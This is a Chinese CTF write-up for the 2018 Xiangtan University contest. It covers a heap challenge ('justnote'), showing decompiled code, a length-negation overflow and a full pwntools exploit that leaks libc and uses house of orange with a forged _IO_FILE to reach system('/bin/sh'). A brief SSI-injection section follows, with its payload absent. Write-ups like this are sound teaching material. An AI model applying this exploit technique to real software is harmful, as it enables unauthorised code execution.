<
湘潭大学2018高校运维赛wp
>
上一篇

2018
下一篇

hctf heapstorm

justnote

很经典的选单程序,好久没遇到这么经典的堆题了。。

三个功能,add,delete,edit

add:

int insert_note()
{
  __int64 content_addr; // [rsp+8h][rbp-18h]
  __int64 len; // [rsp+10h][rbp-10h]
  signed int i; // [rsp+1Ch][rbp-4h]

  for ( i = 0; i <= 31 && *(_QWORD *)(16LL * i + note_lst); ++i )
    ;
  if ( i == 32 )
    return puts("no more, no more");
  content_addr = (__int64)calloc(0x100uLL, 1uLL);
  if ( !content_addr )
  {
    puts("memory error, contact admin");
    exit(1);
  }
  printf("length of note: ", 1LL);
  len = read_long_long();
  if ( len < 0 )
    len = -len;
  if ( len > 0xFF )
    len = 0xFFLL;
  printf("note: ");
  recvn(content_addr, len);
  *(_QWORD *)(16LL * i + note_lst) = content_addr ^ 0xDEADBEEFCAFEBABELL;
  *(_QWORD *)(note_lst + 16LL * i + 8) = len;
  return printf("check it out: %s\n", content_addr);
}

delete:

int remove_note()
{
  signed __int64 v0; // rax
  __int64 index; // [rsp+8h][rbp-8h]

  printf("index of note: ");
  index = read_long_long();
  if ( index >= 0 && index <= 31 )
  {
    if ( *(_QWORD *)(16 * index + note_lst) )
    {
      free((void *)(*(_QWORD *)(16 * index + note_lst) ^ 0xDEADBEEFCAFEBABELL));
      *(_QWORD *)(16 * index + note_lst) = 0LL;
      v0 = 16 * index + note_lst;
      *(_QWORD *)(v0 + 8) = 0LL;
    }
    else
    {
      LODWORD(v0) = puts("no note here");
    }
  }
  else
  {
    LODWORD(v0) = puts("out of range");
  }
  return v0;
}

edit:

int edit_note()
{
  __int64 index; // [rsp+8h][rbp-8h]

  printf("index of note: ");
  index = read_long_long();
  if ( index < 0 || index > 31 )
    return puts("out of range");
  if ( !*(_QWORD *)(16 * index + note_lst) )
    return puts("no note here");
  printf("note: ");
  return recvn(*(_QWORD *)(16 * index + note_lst) ^ 0xDEADBEEFCAFEBABELL, *(_QWORD *)(16 * index + note_lst + 8));
}

漏洞点

add函数里面存在整数溢出:

len = read_long_long();
  if ( len < 0 )
    len = -len;
  if ( len > 0xFF )
    len = 0xFFLL;

看起来没问题但是输入的时候过长的话len会变成0x8000000000000000

漏洞利用

leak

将len构造成一个很大的数就可以几乎无限的堆溢出了

由于用的是calloc,而且没有show函数,所以需要利用mmap位绕过calloc,将fd指针覆盖,打印bk就可以leak地址了

getshell

由于只能利用0x100的堆块,所以用的house of orange(但是我觉得预期解应该是unlink,不管了)

exp

from pwn import *

# context.log_level = 'debug'

binary = './justnote'
elf = ELF(binary)
libc = ELF('libc6_2.23-0ubuntu10_amd64.so')
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./pwn/xtu/libc6_2.23-0ubuntu10_amd64.so")}
io = remote('210.32.4.17',13376)

# io = process(binary)

def p():
	gdb.attach(io)
	raw_input()
def choice(c):
	io.recvuntil('choice: ')
	io.sendline(str(c))
def add(size,content):
	choice(1)
	io.recvuntil('of note: ')
	io.sendline(str(size))
	io.recvuntil('note: ')
	io.send(content)
def delete(index):
	choice(2)
	io.recvuntil('of note: ')
	io.sendline(str(index))
def edit(index,content):
	choice(3)
	io.recvuntil('of note: ')
	io.sendline(str(index))
	io.recvuntil('note: ')
	io.send(content)

add(-0x1FFFFFFFFFFFFFFFFFFFFFFFF,'\n')#0
add(0x100,'B'*0xff)#1
add(0x100,'C'*0xff)#2
add(0x100,'D'*0xff)#3
delete(1)
edit(0,'A'*0x108 + p64(0x113)+'\n')

add(0x100,'B'*0x8+'\n')
io.recvuntil('B'*8)
leak = u64(io.recv(6).ljust(8,'\x00'))
libc_base = leak - libc.symbols['__malloc_hook'] - 0x10 - 0x58
iolist = libc_base + libc.symbols['_IO_list_all']
sys = libc_base + libc.symbols['system']
fake_file = p64(0)
fake_file += p64(0x61)
fake_file += p64(1)
fake_file += p64(iolist- 0x10)
fake_file += p64(2) + p64(3)
fake_file += "\x00" * 8
fake_file += p64(libc_base + next(libc.search('/bin/sh\x00'))) #/bin/sh addr
fake_file += (0xc0-0x40) * "\x00"
fake_file += p32(0) #mode
fake_file += (0xd8-0xc4) * "\x00"
fake_file += p64(libc_base + 0x3c37b0 - 0x18) #vtable_addr
fake_file += (0xe8-0xe0) * "\x00"
fake_file += p64(sys)
delete(2)
edit(0,'A'*0x108 +p64(0x111) + 'B'*0x100+ fake_file+p64(0)*5 + p64(0x111)+'\n')

choice(1)

io.interactive()

simplesververinjection

感觉像是SSI服务器端包含注入,当尝试注入等命令时,发现没有效果,所以想到是被过滤了。

所以构造payload为 就可以看到flag。

Top
Foot